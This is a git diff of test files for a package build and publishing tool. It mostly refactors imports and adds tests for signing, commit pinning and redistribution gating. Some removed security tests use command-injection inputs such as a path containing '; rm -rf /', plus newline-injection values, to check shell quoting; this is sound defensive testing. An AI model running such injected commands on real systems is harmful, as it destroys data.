performPreferCheckWithTempDir(pkg, cmd): return (specs, *return_values) -@mock.patch("bits_helpers.utilities.getRecipeReader", new=MockReader) -@mock.patch("bits_helpers.utilities.exists", new=lambda f: f in RECIPES) +@mock.patch("bits_helpers.packages.getRecipeReader", new=MockReader) +@mock.patch("bits_helpers.paths.exists", new=lambda f: f in RECIPES) class ReplacementTestCase(unittest.TestCase): """Test that system package replacements are working.""" @@ -175,7 +175,7 @@ def test_replacement_recipe_given(self) -> None: self.assertNotIn("with-replacement-recipe", systemPkgs) self.assertIn("with-replacement-recipe", ownPkgs) - @mock.patch("bits_helpers.utilities.warning") + @mock.patch("bits_helpers.packages.warning") def test_missing_replacement_spec(self, mock_warning) -> None: """Check a warning is displayed when the replacement spec is not found.""" warning_msg = "falling back to building the package ourselves" @@ -199,8 +199,8 @@ def fake_exists(n): self.assertFalse("HEREE" in os.listdir()) -@mock.patch("bits_helpers.utilities.getRecipeReader", new=MockReader) -@mock.patch("bits_helpers.utilities.exists", new=lambda f: f in RECIPES) +@mock.patch("bits_helpers.packages.getRecipeReader", new=MockReader) +@mock.patch("bits_helpers.paths.exists", new=lambda f: f in RECIPES) class ForceRebuildTestCase(unittest.TestCase): """Test that force_rebuild keys are applied properly.""" diff --git a/tests/test_parseRecipe.py b/tests/test_parseRecipe.py index 9bc5ba4c..56e05aa6 100644 --- a/tests/test_parseRecipe.py +++ b/tests/test_parseRecipe.py @@ -3,9 +3,11 @@ import unittest import platform -from bits_helpers.utilities import parseRecipe, getRecipeReader, parseDefaults -from bits_helpers.utilities import FileReader, GitReader -from bits_helpers.utilities import validateDefaults, SpecError, incompatibleFlavorDefaults +from bits_helpers.defaults import parseDefaults +from bits_helpers.recipe import parseRecipe, getRecipeReader +from bits_helpers.recipe import FileReader, GitReader +from bits_helpers.defaults import validateDefaults, incompatibleFlavorDefaults +from bits_helpers.recipe import SpecError from collections import OrderedDict TEST1="""package: foo diff --git a/tests/test_pkg_to_shell_id.py b/tests/test_pkg_to_shell_id.py index 7c169e28..4690b51e 100644 --- a/tests/test_pkg_to_shell_id.py +++ b/tests/test_pkg_to_shell_id.py @@ -12,7 +12,7 @@ import unittest from bits_helpers.utilities import pkg_to_shell_id -from bits_helpers.build import generate_initdotsh +from bits_helpers.initdotsh import generate_initdotsh # --------------------------------------------------------------------------- diff --git a/tests/test_publish_manifest.py b/tests/test_publish_manifest.py index 3b89a073..83aa09df 100644 --- a/tests/test_publish_manifest.py +++ b/tests/test_publish_manifest.py @@ -186,10 +186,10 @@ def test_cvmfs_publish_refuses_non_redistributable(self): args = SimpleNamespace( publishView=None, fromManifest=None, package="Secret", version=None, workDir=self.work, architecture=ARCH, cvmfsTarget="/cvmfs/x", - spool="/tmp/spool", scratchDir=None, rsyncOpts=None, - prepubUrl=None, prepubToken=None, prepubRepo=None, prepubPath=None, + scratchDir=None, + prepubUrl="https://prepub.example.org", prepubToken=None, prepubRepo=None, prepubPath=None, prepubWebhook=None, prepubPollInterval=10, prepubTimeout=1800, - prepubNoVerifyTls=False, publishTo=None, dryRun=False, + prepubNoVerifyTls=False, dryRun=False, ) with patch.object(publish, "_find_installroot", side_effect=AssertionError("must gate BEFORE locating " @@ -322,5 +322,34 @@ def test_run_leaf_is_unique_per_call(self): self.assertRegex(leaf, r"^[A-Za-z0-9._-]+-\d{8}T\d{6}Z-[0-9a-f]+\.json$") +class TestStoreUploadRedistributable(unittest.TestCase): + """H1 mitigation: `bits store upload` (_publish_s3) must refuse a package whose + recipe forbids binary redistribution — mirroring the build-time and bulk gates + so no upload path leaks a restricted binary into a world-readable store.""" + + def _run(self, entry): + writer = _FakeWriter() + with patch.object(publish, "_load_manifest_spec", return_value=entry), \ + patch.object(sync, "remote_from_url", return_value=writer): + publish._publish_s3(entry["package"], entry.get("version"), ARCH, + "/wd", "b3://bucket", _Parser()) + return writer + + def test_refuses_non_redistributable(self): + w = self._run({"package": "QGRAF", "version": "3.6", "revision": "1", + "hash": "h1", "redistributable": "none"}) + self.assertEqual(w.tarballs, []) + + def test_refuses_unrecognised_fail_closed(self): + w = self._run({"package": "X", "version": "1", "revision": "1", + "hash": "h9", "redistributable": "weird-typo"}) + self.assertEqual(w.tarballs, []) + + def test_uploads_shareable_default(self): + # No redistributable key -> default 'all' -> uploaded. + w = self._run({"package": "ROOT", "version": "6.30", "revision": "1", "hash": "h2"}) + self.assertEqual(w.tarballs, ["h2"]) + + if __name__ == "__main__": unittest.main() diff --git a/tests/test_qualify_arch.py b/tests/test_qualify_arch.py index 8bfd3077..37bbdee0 100644 --- a/tests/test_qualify_arch.py +++ b/tests/test_qualify_arch.py @@ -13,8 +13,9 @@ """ import unittest -from bits_helpers.utilities import compute_combined_arch, effective_arch, SHARED_ARCH -from bits_helpers.build import _pkg_install_path, generate_initdotsh +from bits_helpers.arch import compute_combined_arch, effective_arch, SHARED_ARCH +from bits_helpers.build import _pkg_install_path +from bits_helpers.initdotsh import generate_initdotsh # --------------------------------------------------------------------------- diff --git a/tests/test_recipe_include.py b/tests/test_recipe_include.py index 0de0ba81..e718f023 100644 --- a/tests/test_recipe_include.py +++ b/tests/test_recipe_include.py @@ -9,7 +9,8 @@ import tempfile import unittest -from bits_helpers.utilities import resolveIncludes, parseRecipe, resolve_spec_data +from bits_helpers.utilities import resolve_spec_data +from bits_helpers.recipe import resolveIncludes, parseRecipe class BufferReader: diff --git a/tests/test_reconstruct_layout.py b/tests/test_reconstruct_layout.py index 747105a3..52a5b73b 100644 --- a/tests/test_reconstruct_layout.py +++ b/tests/test_reconstruct_layout.py @@ -83,7 +83,7 @@ def test_matches_createDistLinks_exactly(self): def test_shared_noarch_uses_shared_arch(self): # A package with architecture: shared installs under TARS/shared/… - from bits_helpers.utilities import SHARED_ARCH + from bits_helpers.arch import SHARED_ARCH specs = _specs() specs["fftw"]["architecture"] = SHARED_ARCH with tempfile.TemporaryDirectory() as d: diff --git a/tests/test_repo_provider.py b/tests/test_repo_provider.py index 68144594..4de65238 100644 --- a/tests/test_repo_provider.py +++ b/tests/test_repo_provider.py @@ -30,7 +30,8 @@ cwd_is_recipe_dir, fetch_repo_providers_iteratively, ) -from bits_helpers.utilities import getConfigPaths, getPackageList +from bits_helpers.packages import getPackageList +from bits_helpers.paths import getConfigPaths # ── Recipe text helpers ───────────────────────────────────────────────────── @@ -94,14 +95,14 @@ def tearDown(self): else: os.environ["BITS_PATH"] = self._orig - @patch("bits_helpers.utilities.exists", return_value=True) + @patch("bits_helpers.paths.exists", return_value=True) def test_relative_name_gets_bits_suffix(self, _exists): os.environ["BITS_PATH"] = "alice,common" paths = getConfigPaths("/base") self.assertIn("/base/alice.bits", paths) self.assertIn("/base/common.bits", paths) - @patch("bits_helpers.utilities.exists", return_value=True) + @patch("bits_helpers.paths.exists", return_value=True) def test_absolute_path_used_directly(self, _exists): """An absolute entry in BITS_PATH must not get .bits appended.""" os.environ["BITS_PATH"] = "/abs/path/my-provider" @@ -109,7 +110,7 @@ def test_absolute_path_used_directly(self, _exists): self.assertIn("/abs/path/my-provider", paths) self.assertNotIn("/base//abs/path/my-provider.bits", paths) - @patch("bits_helpers.utilities.exists", return_value=True) + @patch("bits_helpers.paths.exists", return_value=True) def test_mixed_relative_and_absolute(self, _exists): os.environ["BITS_PATH"] = "alice,/abs/provider,common" paths = getConfigPaths("/base") @@ -229,6 +230,50 @@ def test_cache_miss_clones_and_writes_marker( directory=".", check=False, ) + # ── M2: optional commit-SHA integrity pin ──────────────────────────────── + @patch("bits_helpers.repo_provider.updateReferenceRepoSpec") + @patch("bits_helpers.repo_provider.logged_scm") + @patch("bits_helpers.repo_provider.Git") + def test_commit_pin_match_proceeds(self, MockGit, mock_logged_scm, mock_update_ref): + commit = "abcdef1234567890" + scm = self._mock_scm(commit) + MockGit.return_value = scm + mock_logged_scm.return_value = "abcdef1234567890\trefs/tags/v1" + spec = self._spec() + spec["commit"] = "abcdef12" # 8-char prefix of the resolved commit + _, got_hash = clone_or_update_provider( + spec, self.work_dir, self.ref_dir, fetch_repos=False) + self.assertEqual(got_hash, commit) + + @patch("bits_helpers.repo_provider.updateReferenceRepoSpec") + @patch("bits_helpers.repo_provider.logged_scm") + @patch("bits_helpers.repo_provider.Git") + def test_commit_pin_mismatch_dies(self, MockGit, mock_logged_scm, mock_update_ref): + # A pin that does not match the resolved commit must fail closed. + commit = "abcdef1234567890" + scm = self._mock_scm(commit) + MockGit.return_value = scm + mock_logged_scm.return_value = "abcdef1234567890\trefs/tags/v1" + spec = self._spec() + spec["commit"] = "deadbeefdead" # branch moved / wrong pin + with self.assertRaises(SystemExit): + clone_or_update_provider(spec, self.work_dir, self.ref_dir, fetch_repos=False) + + @patch("bits_helpers.repo_provider.updateReferenceRepoSpec") + @patch("bits_helpers.repo_provider.logged_scm") + @patch("bits_helpers.repo_provider.Git") + def test_commit_pin_blank_is_no_pin(self, MockGit, mock_logged_scm, mock_update_ref): + # A present-but-blank `commit:` (YAML null) means "no pin", not a failure. + commit = "abcdef1234567890" + scm = self._mock_scm(commit) + MockGit.return_value = scm + mock_logged_scm.return_value = "abcdef1234567890\trefs/tags/v1" + spec = self._spec() + spec["commit"] = None + _, got_hash = clone_or_update_provider( + spec, self.work_dir, self.ref_dir, fetch_repos=False) + self.assertEqual(got_hash, commit) + @patch("bits_helpers.repo_provider.updateReferenceRepoSpec") @patch("bits_helpers.repo_provider.logged_scm") @patch("bits_helpers.repo_provider.Git") @@ -594,8 +639,8 @@ def __call__(self): return self._contents -@mock.patch("bits_helpers.utilities.getRecipeReader", new=MockReaderPkgList) -@mock.patch("bits_helpers.utilities.exists", +@mock.patch("bits_helpers.packages.getRecipeReader", new=MockReaderPkgList) +@mock.patch("bits_helpers.paths.exists", new=lambda f: f in _PKGLIST_RECIPES) class TestGetPackageListProviderDirs(unittest.TestCase): """Verify that recipe_provider / recipe_provider_hash are populated.""" @@ -970,7 +1015,7 @@ def _make_spec(**overrides): return spec def _call_store_hashes(self, spec): - from bits_helpers.build import storeHashes + from bits_helpers.hashing import storeHashes specs = {spec["package"]: spec, "defaults-release": self._make_spec( package="defaults-release", version="v1", requires=[])} storeHashes(spec["package"], specs, considerRelocation=False) diff --git a/tests/test_rev_marker_s3.py b/tests/test_rev_marker_s3.py index e40e49dd..23a0811c 100644 --- a/tests/test_rev_marker_s3.py +++ b/tests/test_rev_marker_s3.py @@ -180,7 +180,7 @@ def test_list_errors_are_swallowed(self): self.assertEqual(s.list_store_tarballs(ARCH, "aabb"), []) -class _BareReader: +class _BareReader(sync.RemoteSync): """A read-only backend with no store-metadata support (CVMFS, rsync, http).""" architecture = ARCH workdir = "/sw" @@ -234,5 +234,15 @@ def test_list_store_tarballs_delegates_and_defaults(self): []) +class RemoteSyncBaseContractTestCase(unittest.TestCase): + """The RemoteSync base gives every backend the store-metadata queries, so + build.py can call them on any sync helper without hasattr/getattr guards.""" + + def test_backends_default_metadata_to_empty(self): + for backend in (sync.NoRemoteSync(), _BareReader()): + self.assertEqual(backend.read_rev_markers("p", "v", ARCH), {}) + self.assertEqual(backend.list_store_tarballs(ARCH, "aa"), []) + + if __name__ == "__main__": unittest.main() diff --git a/tests/test_revision_records.py b/tests/test_revision_records.py index 76dd1e3b..c8b93fd6 100644 --- a/tests/test_revision_records.py +++ b/tests/test_revision_records.py @@ -53,6 +53,11 @@ def setUp(self): fh.write(priv.public_key().public_bytes( serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo)) + # The shipped keys/key-policy.json is strict ("default": []); this harness + # trusts its own generated key for every group ("default": ["*"] overrides + # the shipped strict default, most-specific-last). + with open(os.path.join(trust_dir, "key-policy.json"), "w") as fh: + fh.write('{"default": ["*"]}\n') self._old = os.environ.get("BITS_TRUST_KEYS") os.environ["BITS_TRUST_KEYS"] = trust_dir @@ -257,18 +262,18 @@ def test_local_revision_objects_are_ignored(self): self._seed_local("a888a899", "bzip2-1.0.6-local2.%s.tar.gz" % self.ARCH) self.assertEqual( build._store_revision_records(self._spec(), self.ARCH, self.tmp, - types.SimpleNamespace()), []) + types.SimpleNamespace(list_store_tarballs=lambda a, h: [])), []) def test_no_lister_and_no_local_yields_nothing(self): self.assertEqual( build._store_revision_records(self._spec(), self.ARCH, self.tmp, - types.SimpleNamespace()), []) + types.SimpleNamespace(list_store_tarballs=lambda a, h: [])), []) def test_revisionless_object_is_not_a_reuse_record(self): self._seed_local("a888a899", "bzip2-1.0.6.%s.tar.gz" % self.ARCH) self.assertEqual( build._store_revision_records(self._spec(), self.ARCH, self.tmp, - types.SimpleNamespace()), []) + types.SimpleNamespace(list_store_tarballs=lambda a, h: [])), []) def test_store_name_beats_stale_marker_for_same_revision(self): # The bzip2 failure, end to end. The store holds bzip2-1.0.6-1.tar.gz under diff --git a/tests/test_security.py b/tests/test_security.py index ef8f648c..9995c25a 100644 --- a/tests/test_security.py +++ b/tests/test_security.py @@ -5,11 +5,8 @@ Each test class corresponds to one reported finding: - F1 – build.py: Makeflow shell command uses quote() on workDir - F2 – build.py: _generate_create_links_sh uses quote() on all shell-embedded paths F3 – sandbox.py: make_sbpl_profile rejects builddir containing '"' - F4 – publish.py: _pkg_id replaces '/' in package (path traversal into spool) - F5 – publish.py: _write_sentinel rejects newlines in pkg_id / cvmfs_target + F4 – publish.py: _pkg_id replaces '/' in package (keeps it a single path segment) F6 – publish.py: _find_installroot rejects package names that escape work_dir """ @@ -21,174 +18,6 @@ from argparse import Namespace from unittest.mock import MagicMock, patch -# --------------------------------------------------------------------------- -# Helpers -# --------------------------------------------------------------------------- - -def _make_args(work_dir="/sw", architecture="slc7_x86-64"): - """Return a minimal Namespace that satisfies _generate_create_links_sh.""" - return Namespace(workDir=work_dir, architecture=architecture) - - -def _make_spec(package="zlib", version="1.3.1", revision="1", - hash="abcdef1234567890", commit_hash="deadbeef"): - return { - "package": package, - "version": version, - "revision": revision, - "hash": hash, - "commit_hash": commit_hash, - "requires": [], - "full_requires": [], - "full_runtime_requires": [], - "architecture": None, - } - - -# =========================================================================== -# F1 — Makeflow shell command quotes workDir -# =========================================================================== - -class TestMakeflowCmdQuotesWorkDir(unittest.TestCase): - """F1: build.py Makeflow command must shell-quote the directory path. - - We cannot call doBuild() end-to-end, so we reconstruct the same expression - used in the production code and verify its quoting properties. - """ - - def _build_mfcmd(self, work_dir): - """Mirror the exact expression from build.py.""" - from shlex import quote - import os - mfDir = os.path.join(work_dir, "BUILD", "abc1234", "makeflow") - mfFlow = "makeflow" - mfCmd = "(cd {dir}; {mf} --clean; {mf})".format( - dir=quote(mfDir), mf=mfFlow) - return mfCmd, mfDir - - def test_clean_path_survives_roundtrip(self): - """A path with no special characters should round-trip correctly.""" - import shlex - mfCmd, mfDir = self._build_mfcmd("/sw/bits") - tokens = shlex.split(mfCmd) - # The first token is '(' which doesn't exist in sh -c context; - # verify the path string appears literally inside the command. - self.assertIn(mfDir, mfCmd) - - def test_path_with_space_is_quoted(self): - """A workDir with a space must NOT split into two cd arguments.""" - import shlex - mfCmd, mfDir = self._build_mfcmd("/home/user/my build") - # The path should appear as a single token (single-quoted by shlex.quote) - self.assertIn("'", mfCmd) - # Critically: the space in the path must NOT cause the semicolon after it - # to appear immediately after 'build' — it must be inside the quotes. - # Verify by checking the raw string contains the full quoted path before ';' - self.assertIn(f"'{mfDir}'", mfCmd) - - def test_path_with_semicolon_is_quoted(self): - """A workDir with a semicolon must not inject an extra shell command.""" - import shlex - mfCmd, mfDir = self._build_mfcmd("/tmp/evil; rm -rf /") - # The semicolon should be inside quotes — not a bare command separator - self.assertIn("'", mfCmd) - # The unquoted form 'rm -rf /' must NOT appear as a bare token - self.assertNotIn("; rm -rf /;", mfCmd) - - def test_path_with_dollar_is_quoted(self): - """A workDir with '$' must not allow variable expansion.""" - mfCmd, _ = self._build_mfcmd("/tmp/$HOME") - # The dollar must appear only inside quotes - self.assertIn("'", mfCmd) - # There must be no bare $HOME outside of single quotes - # (shlex.quote wraps the whole path in single quotes) - self.assertNotIn(" $HOME", mfCmd) - - -# =========================================================================== -# F2 — _generate_create_links_sh quotes all shell-embedded paths -# =========================================================================== - -class TestGenerateCreateLinksShQuoting(unittest.TestCase): - """F2: Generated shell script lines must shell-quote paths so that - package names or workDir values with shell metacharacters are safe. - """ - - def _call(self, work_dir="/sw", package="zlib"): - from bits_helpers.build import _generate_create_links_sh - spec = _make_spec(package=package) - specs = {package: spec} - args = _make_args(work_dir=work_dir, architecture="slc7_x86-64") - return _generate_create_links_sh(spec, specs, args) - - def test_rm_rf_line_parses_as_single_path(self): - """shlex.split() must see exactly three tokens: rm, -rf, . - - shlex.quote() does NOT wrap already-safe paths in single quotes, so we - test the property that matters: the result tokenises correctly, not the - literal presence of quote characters. - """ - import shlex - script = self._call() - for line in script.splitlines(): - if line.startswith("rm -rf"): - tokens = shlex.split(line) - self.assertEqual(len(tokens), 3, - msg=f"rm -rf should have exactly 3 tokens: {tokens}") - - def test_mkdir_p_line_parses_as_single_path(self): - """shlex.split() must see exactly three tokens: mkdir, -p, .""" - import shlex - script = self._call() - for line in script.splitlines(): - if line.startswith("mkdir -p"): - tokens = shlex.split(line) - self.assertEqual(len(tokens), 3, - msg=f"mkdir -p should have exactly 3 tokens: {tokens}") - - def test_ln_nfs_line_parses_as_two_paths(self): - """shlex.split() must see exactly four tokens: ln, -nfs, , .""" - import shlex - script = self._call() - for line in script.splitlines(): - if line.startswith("ln -nfs"): - tokens = shlex.split(line) - self.assertEqual(len(tokens), 4, - msg=f"ln -nfs should have exactly 4 tokens: {tokens}") - - def test_workdir_with_space_does_not_split_rm(self): - """A space in workDir must not produce two separate rm targets.""" - script = self._call(work_dir="/home/user/my build") - for line in script.splitlines(): - if line.startswith("rm -rf"): - # Must be exactly two tokens: 'rm' '-rf' '' - import shlex - tokens = shlex.split(line) - self.assertEqual(len(tokens), 3, - msg=f"rm -rf split into unexpected number of tokens: {tokens}") - self.assertIn("my build", tokens[2]) - - def test_package_with_special_chars_is_quoted(self): - """A package name containing a space is safe in the generated script.""" - # Package names with spaces are unusual but the quoting must handle them. - script = self._call(package="my pkg") - for line in script.splitlines(): - if line.startswith("rm -rf") or line.startswith("mkdir -p"): - import shlex - tokens = shlex.split(line) - # The path token must contain the package name intact - self.assertTrue(any("my pkg" in t for t in tokens), - msg=f"Package name not found intact in: {line!r}") - - def test_clean_paths_are_still_valid(self): - """Normal paths (no special chars) must still appear correctly.""" - script = self._call(work_dir="/sw", package="zlib") - self.assertIn("/sw/TARS/", script) - self.assertIn("zlib", script) - self.assertIn("rm -rf", script) - self.assertIn("mkdir -p", script) - - # =========================================================================== # F3 — make_sbpl_profile rejects builddir with '"' # =========================================================================== @@ -283,49 +112,6 @@ def test_version_slashes_replaced(self): self.assertNotIn("/", result) -# =========================================================================== -# F5 — _write_sentinel rejects newlines in pkg_id / cvmfs_target -# =========================================================================== - -class TestWriteSentinelRejectsNewlines(unittest.TestCase): - """F5: The sentinel key=value file must not be corrupted by newlines - embedded in pkg_id or cvmfs_target. - """ - - def test_newline_in_pkg_id_raises(self): - from bits_helpers.publish import _write_sentinel - with self.assertRaises(ValueError) as ctx: - _write_sentinel("/tmp/spool", "zlib-1.0\nevil=injected", "/cvmfs/sft.cern.ch/test") - self.assertIn("pkg_id", str(ctx.exception)) - - def test_newline_in_cvmfs_target_raises(self): - from bits_helpers.publish import _write_sentinel - with self.assertRaises(ValueError) as ctx: - _write_sentinel("/tmp/spool", "zlib-1.0", "/cvmfs/sft.cern.ch/test\nevil=injected") - self.assertIn("cvmfs_target", str(ctx.exception)) - - def test_carriage_return_in_pkg_id_raises(self): - from bits_helpers.publish import _write_sentinel - with self.assertRaises(ValueError): - _write_sentinel("/tmp/spool", "zlib\r1.0", "/cvmfs/sft.cern.ch/test") - - def test_clean_values_write_sentinel_file(self): - """Normal values must produce a correctly formatted sentinel file.""" - from bits_helpers.publish import _write_sentinel - with tempfile.TemporaryDirectory() as spool: - os.makedirs(os.path.join(spool, "incoming"), exist_ok=True) - _write_sentinel(spool, "zlib-1.3.1-1-slc7_x86_64", - "/cvmfs/sft.cern.ch/lcg/releases/zlib/1.3.1/x86_64-el9") - sentinel = os.path.join(spool, "incoming", "zlib-1.3.1-1-slc7_x86_64.done") - self.assertTrue(os.path.exists(sentinel)) - with open(sentinel) as fh: - lines = fh.readlines() - # Must have exactly two lines (pkg_id= and cvmfs_target=) - self.assertEqual(len(lines), 2) - self.assertTrue(lines[0].startswith("pkg_id=")) - self.assertTrue(lines[1].startswith("cvmfs_target=")) - - # =========================================================================== # F6 — _find_installroot rejects package names that escape work_dir # =========================================================================== diff --git a/tests/test_shared_arch.py b/tests/test_shared_arch.py index 1a328c49..6debf438 100644 --- a/tests/test_shared_arch.py +++ b/tests/test_shared_arch.py @@ -13,8 +13,9 @@ import unittest from unittest.mock import patch -from bits_helpers.utilities import effective_arch, SHARED_ARCH -from bits_helpers.build import _pkg_install_path, generate_initdotsh +from bits_helpers.arch import effective_arch, SHARED_ARCH +from bits_helpers.build import _pkg_install_path +from bits_helpers.initdotsh import generate_initdotsh # --------------------------------------------------------------------------- diff --git a/tests/test_shell_security.sh b/tests/test_shell_security.sh index 837affc0..78136824 100644 --- a/tests/test_shell_security.sh +++ b/tests/test_shell_security.sh @@ -4,7 +4,6 @@ # Shell-level regression tests for the security fixes applied to: # bits_helpers/relocate-me.sh (R1, R2, R3) # bits_helpers/build_template.sh (B1–B7) -# bits_helpers/tar_template.sh (T1) # # Each test is a plain bash function; the harness at the bottom runs them all # and reports PASS/FAIL. No external test framework is required. @@ -256,22 +255,6 @@ test_B7_hashprefix_with_space_in_hash_quoted() { [[ $? -eq 0 ]] } -# --------------------------------------------------------------------------- -# T1 — tar_template.sh: $gzip is quoted -# --------------------------------------------------------------------------- - -test_T1_gzip_path_quoted() { - # Verify that a gzip path returned by 'command -v' can be invoked when quoted. - local gzip - gzip=$(command -v pigz 2>/dev/null) || gzip=$(command -v gzip 2>/dev/null) - [[ -n "$gzip" ]] || { echo " (skip: no gzip found)"; return 0; } - - # Invoke using the quoted form — must not error - local version_output - version_output=$("$gzip" --version 2>&1) || true - [[ $? -eq 0 ]] || [[ -n "$version_output" ]] -} - # --------------------------------------------------------------------------- # Harness # --------------------------------------------------------------------------- @@ -291,7 +274,6 @@ tests=( test_B4_ln_snf_with_space_in_pkgpath test_B7_hashprefix_extraction test_B7_hashprefix_with_space_in_hash_quoted - test_T1_gzip_path_quoted ) for t in "${tests[@]}"; do diff --git a/tests/test_sign_console.py b/tests/test_sign_console.py new file mode 100644 index 00000000..f715b999 --- /dev/null +++ b/tests/test_sign_console.py @@ -0,0 +1,62 @@ +# SPDX-FileCopyrightText: 2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later +"""Tests for the cross-device console signing client (bits_helpers.sign_console).""" + +import hashlib +import json +import os +import shutil +import tempfile +import unittest +from unittest.mock import patch + +from bits_helpers import sign_console + + +class TestSignConsole(unittest.TestCase): + def setUp(self): + self.dir = tempfile.mkdtemp() + self.mp = os.path.join(self.dir, "m.json") + with open(self.mp, "wb") as fh: + fh.write(b'{"packages":[{"package":"A","group":"lcg"}]}') + self.digest = hashlib.sha256(open(self.mp, "rb").read()).hexdigest() + + def tearDown(self): + shutil.rmtree(self.dir, ignore_errors=True) + + def _req(self): + return {"request_id": "r1", "approve_url": "http://x/?approve=r1", + "digest": self.digest, "groups": ["lcg"]} + + def test_flow_verifies_and_writes_sig(self): + results = iter([ + {"status": "pending"}, + {"status": "signed", "envelope": {"alg": "ed25519", "key_id": "k", "sig": "s"}, + "signed_by": "alice", "groups": ["lcg"]}]) + with patch.object(sign_console, "_post", lambda url, data, ctype="": self._req()), \ + patch.object(sign_console, "_get", lambda url: next(results)), \ + patch.object(sign_console.trust, "load_trusted_keys", lambda: {}), \ + patch.object(sign_console.trust, "verify_bytes", lambda b, e, t: "kid1234"), \ + patch.object(sign_console.time, "sleep", lambda s: None): + out = sign_console.sign_via_console("http://x", self.mp, timeout=10) + self.assertEqual(json.load(open(out))["key_id"], "k") + + def test_unverifiable_signature_rejected(self): + with patch.object(sign_console, "_post", lambda url, data, ctype="": self._req()), \ + patch.object(sign_console, "_get", + lambda url: {"status": "signed", "envelope": {}, "signed_by": "a"}), \ + patch.object(sign_console.trust, "load_trusted_keys", lambda: {}), \ + patch.object(sign_console.trust, "verify_bytes", lambda b, e, t: None), \ + patch.object(sign_console.time, "sleep", lambda s: None): + with self.assertRaises(SystemExit): + sign_console.sign_via_console("http://x", self.mp, timeout=10) + + def test_digest_mismatch_aborts(self): + bad = dict(self._req(), digest="deadbeef") + with patch.object(sign_console, "_post", lambda url, data, ctype="": bad): + with self.assertRaises(SystemExit): + sign_console.sign_via_console("http://x", self.mp, timeout=10) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_status.py b/tests/test_status.py index fef1bb3a..8b9b5719 100644 --- a/tests/test_status.py +++ b/tests/test_status.py @@ -529,7 +529,7 @@ def _make_recipe_dir(self, pkg, version="1.0", tag=None, requires=None): @patch("bits_helpers.status.getPackageList") @patch("bits_helpers.status.parseDefaults") @patch("bits_helpers.status.readDefaults") - @patch("bits_helpers.build.storeHashes") + @patch("bits_helpers.hashing.storeHashes") @patch("bits_helpers.build.storeHook") def test_build_from_source_reported(self, mock_hook, mock_store_hashes, mock_read_defaults, mock_parse_defaults, @@ -574,7 +574,7 @@ def fake_store_hashes(p, specs, considerRelocation): @patch("bits_helpers.status.getPackageList") @patch("bits_helpers.status.parseDefaults") @patch("bits_helpers.status.readDefaults") - @patch("bits_helpers.build.storeHashes") + @patch("bits_helpers.hashing.storeHashes") @patch("bits_helpers.build.storeHook") def test_already_installed_reported(self, mock_hook, mock_store_hashes, mock_read_defaults, mock_parse_defaults, @@ -621,7 +621,7 @@ def fake_store_hashes(p, specs, considerRelocation): @patch("bits_helpers.status.getPackageList") @patch("bits_helpers.status.parseDefaults") @patch("bits_helpers.status.readDefaults") - @patch("bits_helpers.build.storeHashes") + @patch("bits_helpers.hashing.storeHashes") @patch("bits_helpers.build.storeHook") def test_json_output_structure(self, mock_hook, mock_store_hashes, mock_read_defaults, mock_parse_defaults, @@ -667,7 +667,7 @@ def fake_store_hashes(p, specs, considerRelocation): @patch("bits_helpers.status.getPackageList") @patch("bits_helpers.status.parseDefaults") @patch("bits_helpers.status.readDefaults") - @patch("bits_helpers.build.storeHashes") + @patch("bits_helpers.hashing.storeHashes") @patch("bits_helpers.build.storeHook") def test_hash_unknown_on_storeHashes_failure(self, mock_hook, mock_store_hashes, mock_read_defaults, mock_parse_defaults, diff --git a/tests/test_trust_proxy.py b/tests/test_trust_proxy.py new file mode 100644 index 00000000..40be0f13 --- /dev/null +++ b/tests/test_trust_proxy.py @@ -0,0 +1,241 @@ +# SPDX-FileCopyrightText: 2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later +"""Tests for signing via the security-proxy (trust.sign_*_via_proxy). + +A tiny in-process HTTP server emulates the proxy's /sign route, signing with a +known Ed25519 key exactly as the real proxy does (full-length keyid + base64 +sig). Because Ed25519 is deterministic, the proxy envelope must equal a local +sign_bytes envelope byte-for-byte. +""" + +import base64 +import hashlib +import http.server +import json +import os +import shutil +import tempfile +import threading +import unittest +from unittest.mock import patch + +from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey + +from bits_helpers import certify, trust + + +class _SignHandler(http.server.BaseHTTPRequestHandler): + def log_message(self, *a): # keep test output quiet + pass + + def _reply(self, code, obj): + body = json.dumps(obj).encode() + self.send_response(code) + self.send_header("Content-Type", "application/json") + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + + def _pub_raw(self): + return trust._pub_bytes(self.server.priv.public_key()) + + def _full_keyid(self): # real proxy returns the FULL sha256 hex, not [:16] + return hashlib.sha256(self._pub_raw()).hexdigest() + + def _authed(self): # emulate the proxy's gate-token check -> 401 on mismatch + if self.headers.get("Authorization") != "Bearer " + self.server.token: + self._reply(401, {"error": "Invalid token"}) + return False + return True + + def do_POST(self): + if not self._authed(): + return + n = int(self.headers.get("Content-Length", "0")) + data = self.rfile.read(n) + if getattr(self.server, "malformed", False): + return self._reply(200, {"unexpected": "shape"}) + sig = self.server.priv.sign(data) + self._reply(200, {"keyid": self._full_keyid(), + "sig": base64.b64encode(sig).decode("ascii")}) + + def do_GET(self): + if not self._authed(): + return + self._reply(200, {"keyid": self._full_keyid(), + "publicKey": base64.b64encode(self._pub_raw()).decode("ascii")}) + + +class TestSignViaProxy(unittest.TestCase): + def setUp(self): + self.priv = Ed25519PrivateKey.generate() + self.srv = http.server.HTTPServer(("127.0.0.1", 0), _SignHandler) + self.srv.priv = self.priv + self.srv.token = "gate-token" + self.thread = threading.Thread(target=self.srv.serve_forever, daemon=True) + self.thread.start() + self.url = "http://127.0.0.1:%d/sign/bits" % self.srv.server_address[1] + + def tearDown(self): + self.srv.shutdown() + self.srv.server_close() + + def test_envelope_matches_local_byte_for_byte(self): + # The whole point: a proxy signature is indistinguishable from a local one. + data = b"common-manifest-bytes-\x00\x01\x02" + local = trust.sign_bytes(data, self.priv) + via = trust.sign_bytes_via_proxy(data, self.url, "gate-token") + self.assertEqual(via, local) + # And it verifies against the key as a trust anchor. + trusted = {trust.key_id(self.priv.public_key()): self.priv.public_key()} + self.assertEqual(trust.verify_bytes(data, via, trusted), + trust.key_id(self.priv.public_key())) + + def test_bad_token_raises(self): + with self.assertRaises(RuntimeError): + trust.sign_bytes_via_proxy(b"x", self.url, "wrong-token") + + def test_empty_token_rejected(self): + with self.assertRaises((ValueError, RuntimeError)): + trust.sign_bytes_via_proxy(b"x", self.url, "") + + def test_malformed_response_raises(self): + self.srv.malformed = True + with 